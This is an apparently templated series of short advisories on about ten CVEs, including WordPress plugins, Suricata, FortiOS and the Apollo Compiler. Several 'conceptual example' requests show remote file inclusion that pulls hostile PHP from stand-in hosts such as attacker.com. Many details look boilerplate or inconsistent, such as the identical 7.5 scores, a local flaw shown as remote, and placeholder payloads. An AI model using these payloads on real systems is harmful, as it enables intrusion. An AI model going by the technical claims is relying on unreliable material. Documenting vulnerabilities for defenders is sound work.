Author: Ameeba

Overview

This report discusses CVE-2025-31041, a security vulnerability in the AnyTrack Affiliate Link Manager. This vulnerability stems from a missing authorization check, which can lead to exploitation of incorrectly configured access control security levels. This crucial issue affects businesses and individuals using AnyTrack Affiliate Link Manager, potentially leading to system compromise and data leakage.

Vulnerability Summary

CVE ID: CVE-2025-31041
Severity: High (7.5/10 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: A successful exploit could lead to system compromise and data leakage.

Affected Products

Product | Affected Versions

AnyTrack Affiliate Link Manager | Up to version 1.0.4

How the Exploit Works

The exploit targets a missing authorization vulnerability in AnyTrack Affiliate Link Manager. An attacker could potentially manipulate access control security levels due to the system’s incorrectly configured settings. This could allow unauthorized access to sensitive data or even grant the attacker control over the system.

Conceptual Example Code

The example below displays a conceptual HTTP request that an attacker might use to exploit this vulnerability.

POST /anytrackapi/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "accessOverride": "admin" }

In this concept, the attacker sends a POST request to the affected endpoint, attempting to override access control by setting their role to “admin.” If successful, this would give them unauthorized access to the system.

Mitigation Guidance

Users are strongly advised to apply the vendor-supplied patch to correct this issue. Until the patch can be applied, users can employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure to prevent potential exploits of this vulnerability.

Overview

The vulnerability, CVE-2025-31015, is a critical security issue that affects the Adrian Tobey WordPress SMTP Service, specifically the Email Delivery Solved! – MailHawk plugin. This flaw could potentially allow an attacker to gain unauthorized access and manipulate files on the server, leading to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-31015
Severity: High (7.5 CVSS Score)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

WordPress SMTP Service, Email Delivery Solved! – MailHawk | n/a through 1.3.1

How the Exploit Works

The exploit works by taking advantage of the improper control of filename for include/require statement in PHP program (‘PHP Remote File Inclusion’) vulnerability. An attacker could manipulate the include/require statement to include a file from a remote server that contains malicious PHP code. Once the file is included, the malicious code will be executed by the server, which can lead to unauthorized access or modification of data.

Conceptual Example Code

A potential exploit may look as follows:

GET /include.php?file=http://attacker.com/malicious_file.txt HTTP/1.1
Host: target.example.com

In this example, the `file` parameter in the URL is manipulated to include a file from a remote server (`attacker.com`). The file `malicious_file.txt` contains the attacker’s PHP code, which will be executed once it is included in the target server.

Mitigation Guidance

To mitigate the risk of this vulnerability, it is recommended to apply the patch provided by the vendor. If the patch cannot be applied immediately, it is advised to use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary countermeasure to monitor and block suspicious activity.

Overview

This report provides a detailed analysis of a critical vulnerability, identified as CVE-2025-31014, affecting the ho3einie Material Dashboard. The vulnerability stems from an improper control of filename for Include/Require Statement in PHP Program that could potentially allow PHP Local File Inclusion, leading to a system compromise or data leakage. The vulnerability is notable due to its high severity score and the affected population, which includes all versions of Material Dashboard up to 1.4.5.

Vulnerability Summary

CVE ID: CVE-2025-31014
Severity: Critical (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Material Dashboard | n/a through 1.4.5

How the Exploit Works

The vulnerability in question arises from an improper control of filename for Include/Require Statement in PHP Program (‘PHP Remote File Inclusion’) in ho3einie Material Dashboard. This flaw allows an attacker to include local PHP files, potentially leading to arbitrary code execution. An attacker can exploit this vulnerability by sending a specially crafted request to the server, leading to a potential system compromise or data leakage.

Conceptual Example Code

Here is a conceptual example of how an attacker might exploit this vulnerability:

GET /include.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: vulnerable-website.com

In the above example, the attacker uses the vulnerable parameter `file` to include a malicious PHP file hosted on their own server.

Mitigation Guidance

To mitigate this vulnerability, users should apply the vendor-provided patch as soon as it becomes available. As a temporary measure, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help detect and block attempts to exploit this vulnerability.

Overview

The network Intrusion Detection System (IDS), Intrusion Prevention System (IPS), and Network Security Monitoring engine, Suricata, is susceptible to a significant vulnerability, CVE-2025-29915. This vulnerability, if exploited, could potentially lead to a system compromise or data leakage. The compromise arises due to the default packet size in Suricata, which is based on the network interface MTU, causing truncated packets to be seen by Suricata.

Vulnerability Summary

CVE ID: CVE-2025-29915
Severity: High, CVSS score of 7.5
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Suricata Network Security Monitoring Engine | Versions prior to 7.0.9

How the Exploit Works

The exploit takes advantage of the AF_PACKET defrag option in Suricata, which is enabled by default. This option allows AF_PACKET to re-assemble fragmented packets before reaching Suricata. However, because the default packet size in Suricata is based on the network interface MTU, Suricata can end up seeing truncated packets. If an attacker sends a maliciously fragmented packet, it can achieve a successful exploit.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This is a simple script that sends fragmented packets to a target:

import socket
target_ip = "target.example.com"
packet = b"malicious_payload"
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
sock.sendto(packet, (target_ip, 0))

This script sends a raw packet to a target IP. The payload is intentionally fragmented, which could lead to the exploitation of the Suricata vulnerability.

Overview

A significant cybersecurity concern has been identified in Panasonic IR Control Hub (IR Blaster) versions 1.17 and earlier, known as CVE-2025-1073. This vulnerability, if exploited, enables an attacker with physical access to load unauthorized firmware onto the device. Such a situation could lead to system compromise or data leakage, affecting the privacy and security of users.

Vulnerability Summary

CVE ID: CVE-2025-1073
Severity: High (CVSS: 7.5)
Attack Vector: Physical
Privileges Required: None
User Interaction: Required
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Panasonic IR Control Hub (IR Blaster) | 1.17 and earlier

How the Exploit Works

The vulnerability CVE-2025-1073 in the Panasonic IR Control Hub can be exploited by an attacker with physical access to the device. The attacker can load unauthorized firmware onto the device. This unauthorized firmware can be designed to compromise the system, potentially allowing the attacker to gain control of the device, alter its functionality, or extract sensitive data.

Conceptual Example Code

This example demonstrates the conceptual process of an attack exploiting this vulnerability. However, the actual exploit would require physical access and specific firmware manipulation tools.

# Connect device to firmware manipulation tool
connect_tool.sh --device-id DEVICE_ID --tool-id TOOL_ID
# Backup current firmware
backup_firmware.sh --device-id DEVICE_ID --backup-file BACKUP_FILE
# Load unauthorized firmware
load_firmware.sh --device-id DEVICE_ID --firmware-file UNAUTHORIZED_FIRMWARE
# Reboot the device
reboot_device.sh --device-id DEVICE_ID

Please note that this is a conceptual example and the actual process may vary depending on the specific tools and unauthorized firmware used by the attacker.

Overview

This report discusses the recently discovered high-risk vulnerability, CVE-2025-22279, affecting the Crocoblock JetCompareWishlist. The vulnerability is a PHP Remote File Inclusion flaw resulting from improper control of filename for Include/Require Statement in PHP Program. This critical issue can potentially lead to system compromise or data leakage if exploited, making it a significant concern for anyone using this software.

Vulnerability Summary

CVE ID: CVE-2025-22279
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Crocoblock JetCompareWishlist | Up to and including 1.5.9

How the Exploit Works

The vulnerability stems from the improper control of filename for Include/Require Statement in JetCompareWishlist’s PHP program. A remote attacker can exploit this flaw by providing manipulated input, possibly via URL parameters, to include a remote file. This remote file can contain malicious PHP code that can lead to system compromise or data leakage.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited:

GET /index.php?file=http://attacker.com/malicious_file.txt HTTP/1.1
Host: vulnerable_site.com

In this example, the attacker is exploiting the vulnerability by injecting a malicious file hosted on their server (`attacker.com`) into the vulnerable application via the `file` URL parameter.

Solutions and Mitigations

Users are strongly advised to apply the vendor-supplied patch to fix this vulnerability. If the patch cannot be installed immediately, using Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation. This will however not eliminate the vulnerability but can help detect and block attempts to exploit it.

Overview

The CVE-2025-32160 vulnerability represents a significant risk to systems running the EventON software, specifically versions through 2.3.2. This high-severity issue stems from the PHP Remote File Inclusion, arising from improper control of filename for include/require statement in PHP Program. The vulnerability could potentially lead to a system compromise or data leakage, making immediate attention and mitigation crucial.

Vulnerability Summary

CVE ID: CVE-2025-32160
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

EventON | Up to and including 2.3.2

How the Exploit Works

The exploit works by taking advantage of the improper control of filename for include/require statement in the PHP program within EventON. An attacker could manipulate the filename to include a file from a remote server, thus allowing the attacker’s code to be executed in the context of the affected server. This can lead to unauthorized access, data leakage, or even system compromise.

Conceptual Example Code

A conceptual example of how this vulnerability might be exploited is as follows:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/php
<?php include 'http://attacker.com/malicious_script.php'; ?>

In this example, the attacker is able to include a malicious PHP script from their own server into the target’s server via the PHP include function. Once included, the malicious script could be executed, potentially leading to various adverse impacts.

Mitigation

The best form of mitigation is to apply the vendor’s patch for this vulnerability. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation. Additionally, it is recommended to limit the privileges of the web server and regularly monitor system logs for any unusual activity.

Overview

CVE-2025-32158 is a significant vulnerability that primarily impacts aThemes Addons for Elementor. Due to improper control of filename for Include/Require Statement in PHP Program, this issue presents a critical threat with a potential for system compromise or data leakage. It’s important because aThemes Addons for Elementor is widely used, and the exploitation of this vulnerability can lead to serious security breaches, affecting numerous websites and their associated data.

Vulnerability Summary

CVE ID: CVE-2025-32158
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

aThemes Addons for Elementor | n/a through 1.0.15

How the Exploit Works

The vulnerability arises due to the flawed control of filename for Include/Require Statement in PHP Program. An attacker could manipulate these statements and include a remote file hosted on a malicious server. This file could contain code that, when executed, could lead to a full system compromise or unintended data leakage.

Conceptual Example Code

Given the nature of this vulnerability, an attacker might exploit it by sending a specially crafted HTTP request, such as:

GET /path/to/vulnerable/script.php?file=http://malicious.example.com/malicious_payload.php HTTP/1.1
Host: target.example.com

Here, the “file” parameter is being manipulated to include a remote file from a malicious server.

Countermeasures

The recommended countermeasure for this vulnerability is to apply the vendor patch when available. Until the patch is released, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. Regularly updating and patching software can significantly reduce the risk of exploitation.

Overview

This report analyzes the critical vulnerabilities identified as CVE-2023-37930 found in Fortinet’s FortiOS and FortiProxy SSL VPN Webmode. These vulnerabilities can lead to severe consequences, such as system compromise and data leakage, affecting all VPN users who are using the specified version of the software. Given the high-risk factor, this issue requires immediate attention and rectification.

Vulnerability Summary

CVE ID: CVE-2023-37930
Severity: High (7.5 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Fortinet FortiOS SSL VPN webmode | 7.4.0, 7.2.0 through 7.2.5, 7.0.1 through 7.0.11, 6.4.7 through 6.4.14
Fortinet FortiProxy SSL VPN webmode | 7.2.0 through 7.2.6, 7.0.0 through 7.0.12

How the Exploit Works

The vulnerabilities arise from the use of uninitialized resources and excessive iteration, leading to memory corruption. A malicious VPN user can exploit these vulnerabilities by sending specifically crafted requests to the server. The server, after processing these requests, can inadvertently execute code or commands leading to system compromise or data leakage.

Conceptual Example Code

Here’s a conceptual example illustrating how a malicious request might be crafted:

POST /vpn/authentication/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"user": "valid_user",
"password": "valid_password",
"malicious_command": "crafted_command_to_exploit_vulnerability"
}

In the above example, the `”malicious_command”` is the payload that exploits the vulnerabilities. The actual payload would depend on the exact mechanisms of the uninitialized resources and excessive iteration vulnerabilities.

Overview

The Apollo Compiler, a query-based compiler for the GraphQL query language, is susceptible to a vulnerability that could lead to denial of service attacks and potential system compromise or data leakage. This vulnerability, known as CVE-2025-31496, is particularly significant as it affects any system using versions of the Apollo Compiler prior to 1.27.0. It is of utmost importance to address this vulnerability due to its potential to consume excessive system resources and compromise data security.

Vulnerability Summary

CVE ID: CVE-2025-31496
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Excessive resource consumption potentially leading to denial of service and potential for system compromise or data leakage

Affected Products

Product | Affected Versions

Apollo Compiler | Prior to 1.27.0

How the Exploit Works

The vulnerability lies in the handling of named fragments during query validation in the Apollo Compiler. In versions prior to 1.27.0, named fragments were processed once per fragment spread in some cases, which led to exponential resource usage when deeply nested and reused fragments were involved. An attacker can exploit this vulnerability by sending a specially crafted GraphQL query with deeply nested and reused named fragments, causing the system to use excessive resources, potentially leading to a denial of service.

Conceptual Example Code

The following is a conceptual example of a GraphQL query that could potentially exploit this vulnerability:

POST /graphql HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"query" : "{
...Fragment
}
fragment Fragment on Type {
field
...Fragment
}"
}

In the above example, the fragment “Fragment” is being recursively reused within itself, leading to a deeply nested query that could cause exponential resource usage, potentially leading to a denial of service.